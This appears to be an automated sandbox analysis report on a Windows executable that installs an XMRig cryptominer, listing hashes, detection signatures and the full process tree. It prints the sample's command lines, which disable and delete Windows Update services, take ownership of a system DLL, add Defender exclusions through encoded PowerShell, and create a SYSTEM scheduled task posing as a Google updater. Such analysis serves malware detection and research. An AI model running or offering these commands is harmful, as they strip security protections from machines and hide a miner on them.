Analysis
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max time kernel
300s -
max time network
286s -
platform
windows7_x64 -
resource
win7-20220718-en -
resource tags
arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system -
submitted
02-08-2022 22:19
Behavioral task
behavioral1
Sample
b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe
Resource
win7-20220718-en
General
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Target
b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe
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Size
7.2MB
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MD5
39a2104f5c1096d1c9481cbf5203a820
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SHA1
17b15f09ef79c1cfc0b8ae2c52fd0e564b00aa34
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SHA256
b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc
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SHA512
7b22e01e8b271c17e9c1480802bf111c502b3b18894b9e6dbf42e011809cb1f8f965e454f78c7bd14561733c7ab2b831a08a962ba375fc19048184350d18bf52
Malware Config
Signatures
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Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
Processes:
b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exeupdater.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ updater.exe -
XMRig Miner payload 13 IoCs
Processes:
resource yara_rule behavioral1/memory/1580-159-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1580-161-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1580-163-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1580-164-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1580-165-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1580-167-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1580-169-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1580-171-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1580-172-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1580-174-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1580-176-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1580-177-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1580-179-0x0000000140000000-0x0000000140809000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
conhost.execonhost.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts conhost.exe File opened for modification C:\Windows\system32\drivers\etc\hosts conhost.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1624 updater.exe -
Possible privilege escalation attempt 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 1160 takeown.exe 1196 icacls.exe 532 takeown.exe 1100 icacls.exe -
Stops running service(s) 3 TTPs
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Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exeupdater.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion updater.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 540 taskeng.exe -
Modifies file permissions 1 TTPs 4 IoCs
Processes:
icacls.exetakeown.exeicacls.exetakeown.exepid process 1196 icacls.exe 532 takeown.exe 1100 icacls.exe 1160 takeown.exe -
Processes:
resource yara_rule behavioral1/memory/1388-54-0x0000000000400000-0x00000000010B6000-memory.dmp themida behavioral1/memory/1388-55-0x0000000000400000-0x00000000010B6000-memory.dmp themida behavioral1/memory/1388-57-0x0000000000400000-0x00000000010B6000-memory.dmp themida \Program Files\Google\Chrome\updater.exe themida C:\Program Files\Google\Chrome\updater.exe themida behavioral1/memory/1624-105-0x0000000000400000-0x00000000010B6000-memory.dmp themida behavioral1/memory/1624-106-0x0000000000400000-0x00000000010B6000-memory.dmp themida behavioral1/memory/1624-109-0x0000000000400000-0x00000000010B6000-memory.dmp themida C:\Program Files\Google\Chrome\updater.exe themida -
Processes:
b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exeupdater.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA updater.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exeupdater.exepid process 1388 b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe 1624 updater.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
conhost.exedescription pid process target process PID 1744 set thread context of 1580 1744 conhost.exe explorer.exe -
Drops file in Program Files directory 3 IoCs
Processes:
conhost.execonhost.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe conhost.exe File opened for modification C:\Program Files\Google\Chrome\updater.exe conhost.exe File created C:\Program Files\Google\Libs\WR64.sys conhost.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 532 sc.exe 1952 sc.exe 1632 sc.exe 1044 sc.exe 1648 sc.exe 1836 sc.exe 600 sc.exe 628 sc.exe 1056 sc.exe 1584 sc.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 5 IoCs
Processes:
conhost.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ conhost.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" conhost.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" conhost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 20c19dc7cea6d801 powershell.exe -
Modifies registry key 1 TTPs 18 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 2000 reg.exe 952 reg.exe 800 reg.exe 1312 reg.exe 1148 reg.exe 1528 reg.exe 2000 reg.exe 2016 reg.exe 1864 reg.exe 1168 reg.exe 800 reg.exe 1048 reg.exe 1796 reg.exe 1936 reg.exe 1640 reg.exe 1032 reg.exe 1544 reg.exe 1056 reg.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.execonhost.exepowershell.execonhost.exeexplorer.exepid process 1740 powershell.exe 1584 conhost.exe 1752 powershell.exe 1744 conhost.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe 1580 explorer.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 15 IoCs
Processes:
powershell.exepowercfg.execonhost.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.execonhost.exeexplorer.exedescription pid process Token: SeDebugPrivilege 1740 powershell.exe Token: SeShutdownPrivilege 2016 powercfg.exe Token: SeDebugPrivilege 1584 conhost.exe Token: SeShutdownPrivilege 1872 powercfg.exe Token: SeShutdownPrivilege 1852 powercfg.exe Token: SeShutdownPrivilege 1472 powercfg.exe Token: SeTakeOwnershipPrivilege 1160 takeown.exe Token: SeDebugPrivilege 1752 powershell.exe Token: SeShutdownPrivilege 988 powercfg.exe Token: SeShutdownPrivilege 1064 powercfg.exe Token: SeShutdownPrivilege 1588 powercfg.exe Token: SeShutdownPrivilege 660 powercfg.exe Token: SeTakeOwnershipPrivilege 532 takeown.exe Token: SeDebugPrivilege 1744 conhost.exe Token: SeLockMemoryPrivilege 1580 explorer.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.execonhost.execmd.execmd.exedescription pid process target process PID 1388 wrote to memory of 1584 1388 b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe conhost.exe PID 1388 wrote to memory of 1584 1388 b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe conhost.exe PID 1388 wrote to memory of 1584 1388 b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe conhost.exe PID 1388 wrote to memory of 1584 1388 b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe conhost.exe PID 1584 wrote to memory of 1740 1584 conhost.exe powershell.exe PID 1584 wrote to memory of 1740 1584 conhost.exe powershell.exe PID 1584 wrote to memory of 1740 1584 conhost.exe powershell.exe PID 1584 wrote to memory of 1772 1584 conhost.exe cmd.exe PID 1584 wrote to memory of 1772 1584 conhost.exe cmd.exe PID 1584 wrote to memory of 1772 1584 conhost.exe cmd.exe PID 1584 wrote to memory of 1756 1584 conhost.exe cmd.exe PID 1584 wrote to memory of 1756 1584 conhost.exe cmd.exe PID 1584 wrote to memory of 1756 1584 conhost.exe cmd.exe PID 1772 wrote to memory of 600 1772 cmd.exe sc.exe PID 1772 wrote to memory of 600 1772 cmd.exe sc.exe PID 1772 wrote to memory of 600 1772 cmd.exe sc.exe PID 1772 wrote to memory of 532 1772 cmd.exe sc.exe PID 1772 wrote to memory of 532 1772 cmd.exe sc.exe PID 1772 wrote to memory of 532 1772 cmd.exe sc.exe PID 1756 wrote to memory of 2016 1756 cmd.exe powercfg.exe PID 1756 wrote to memory of 2016 1756 cmd.exe powercfg.exe PID 1756 wrote to memory of 2016 1756 cmd.exe powercfg.exe PID 1772 wrote to memory of 628 1772 cmd.exe sc.exe PID 1772 wrote to memory of 628 1772 cmd.exe sc.exe PID 1772 wrote to memory of 628 1772 cmd.exe sc.exe PID 1772 wrote to memory of 1952 1772 cmd.exe sc.exe PID 1772 wrote to memory of 1952 1772 cmd.exe sc.exe PID 1772 wrote to memory of 1952 1772 cmd.exe sc.exe PID 1756 wrote to memory of 1872 1756 cmd.exe powercfg.exe PID 1756 wrote to memory of 1872 1756 cmd.exe powercfg.exe PID 1756 wrote to memory of 1872 1756 cmd.exe powercfg.exe PID 1772 wrote to memory of 1056 1772 cmd.exe sc.exe PID 1772 wrote to memory of 1056 1772 cmd.exe sc.exe PID 1772 wrote to memory of 1056 1772 cmd.exe sc.exe PID 1772 wrote to memory of 1640 1772 cmd.exe reg.exe PID 1772 wrote to memory of 1640 1772 cmd.exe reg.exe PID 1772 wrote to memory of 1640 1772 cmd.exe reg.exe PID 1756 wrote to memory of 1852 1756 cmd.exe powercfg.exe PID 1756 wrote to memory of 1852 1756 cmd.exe powercfg.exe PID 1756 wrote to memory of 1852 1756 cmd.exe powercfg.exe PID 1772 wrote to memory of 1148 1772 cmd.exe reg.exe PID 1772 wrote to memory of 1148 1772 cmd.exe reg.exe PID 1772 wrote to memory of 1148 1772 cmd.exe reg.exe PID 1756 wrote to memory of 1472 1756 cmd.exe powercfg.exe PID 1756 wrote to memory of 1472 1756 cmd.exe powercfg.exe PID 1756 wrote to memory of 1472 1756 cmd.exe powercfg.exe PID 1772 wrote to memory of 1032 1772 cmd.exe reg.exe PID 1772 wrote to memory of 1032 1772 cmd.exe reg.exe PID 1772 wrote to memory of 1032 1772 cmd.exe reg.exe PID 1772 wrote to memory of 1528 1772 cmd.exe reg.exe PID 1772 wrote to memory of 1528 1772 cmd.exe reg.exe PID 1772 wrote to memory of 1528 1772 cmd.exe reg.exe PID 1772 wrote to memory of 1864 1772 cmd.exe reg.exe PID 1772 wrote to memory of 1864 1772 cmd.exe reg.exe PID 1772 wrote to memory of 1864 1772 cmd.exe reg.exe PID 1772 wrote to memory of 1160 1772 cmd.exe takeown.exe PID 1772 wrote to memory of 1160 1772 cmd.exe takeown.exe PID 1772 wrote to memory of 1160 1772 cmd.exe takeown.exe PID 1772 wrote to memory of 1196 1772 cmd.exe icacls.exe PID 1772 wrote to memory of 1196 1772 cmd.exe icacls.exe PID 1772 wrote to memory of 1196 1772 cmd.exe icacls.exe PID 1584 wrote to memory of 1792 1584 conhost.exe cmd.exe PID 1584 wrote to memory of 1792 1584 conhost.exe cmd.exe PID 1584 wrote to memory of 1792 1584 conhost.exe cmd.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe"C:\Users\Admin\AppData\Local\Temp\b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:1388 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe"2⤵
- Drops file in Drivers directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1584 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAbAB4ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawBpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAaAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBhAGkAeQBuACMAPgA="3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1740 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
- Suspicious use of WriteProcessMemory
PID:1772 -
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
PID:600 -
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
PID:532 -
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
PID:628 -
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
PID:1952 -
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
PID:1056 -
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
PID:1640 -
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
PID:1148 -
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies security service
- Modifies registry key
PID:1032 -
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
PID:1528 -
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
PID:1864 -
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1160 -
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1196 -
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f4⤵
- Modifies registry key
PID:1168 -
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f4⤵
- Modifies registry key
PID:952 -
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
PID:800 -
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
PID:2000 -
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE4⤵PID:960
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE4⤵PID:1312
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE4⤵PID:1768
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE4⤵PID:600
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE4⤵PID:1672
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE4⤵PID:1544
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵PID:1532
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 03⤵
- Suspicious use of WriteProcessMemory
PID:1756 -
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
PID:2016 -
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
PID:1872 -
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
PID:1852 -
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
PID:1472 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""3⤵PID:1792
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""4⤵
- Creates scheduled task(s)
PID:1536 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"3⤵PID:1712
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C:\Windows\system32\schtasks.exeschtasks /run /tn "GoogleUpdateTaskMachineQC"4⤵PID:1832
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C:\Windows\system32\taskeng.exetaskeng.exe {E44AC122-5CD3-4B4A-A620-C9ADE345B939} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
PID:540 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1624 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe"3⤵
- Drops file in Drivers directory
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1744 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAbAB4ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawBpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAaAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBhAGkAeQBuACMAPgA="4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1752 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵PID:1516
-
C:\Windows\system32\sc.exesc stop UsoSvc5⤵
- Launches sc.exe
PID:1584 -
C:\Windows\system32\sc.exesc stop WaaSMedicSvc5⤵
- Launches sc.exe
PID:1648 -
C:\Windows\system32\sc.exesc stop wuauserv5⤵
- Launches sc.exe
PID:1836 -
C:\Windows\system32\sc.exesc stop bits5⤵
- Launches sc.exe
PID:1632 -
C:\Windows\system32\sc.exesc stop dosvc5⤵
- Launches sc.exe
PID:1044 -
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f5⤵
- Modifies registry key
PID:800 -
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f5⤵
- Modifies registry key
PID:2000 -
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f5⤵
- Modifies registry key
PID:1048 -
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f5⤵
- Modifies registry key
PID:1312 -
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f5⤵
- Modifies registry key
PID:1796 -
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:532 -
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1100 -
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f5⤵
- Modifies registry key
PID:1936 -
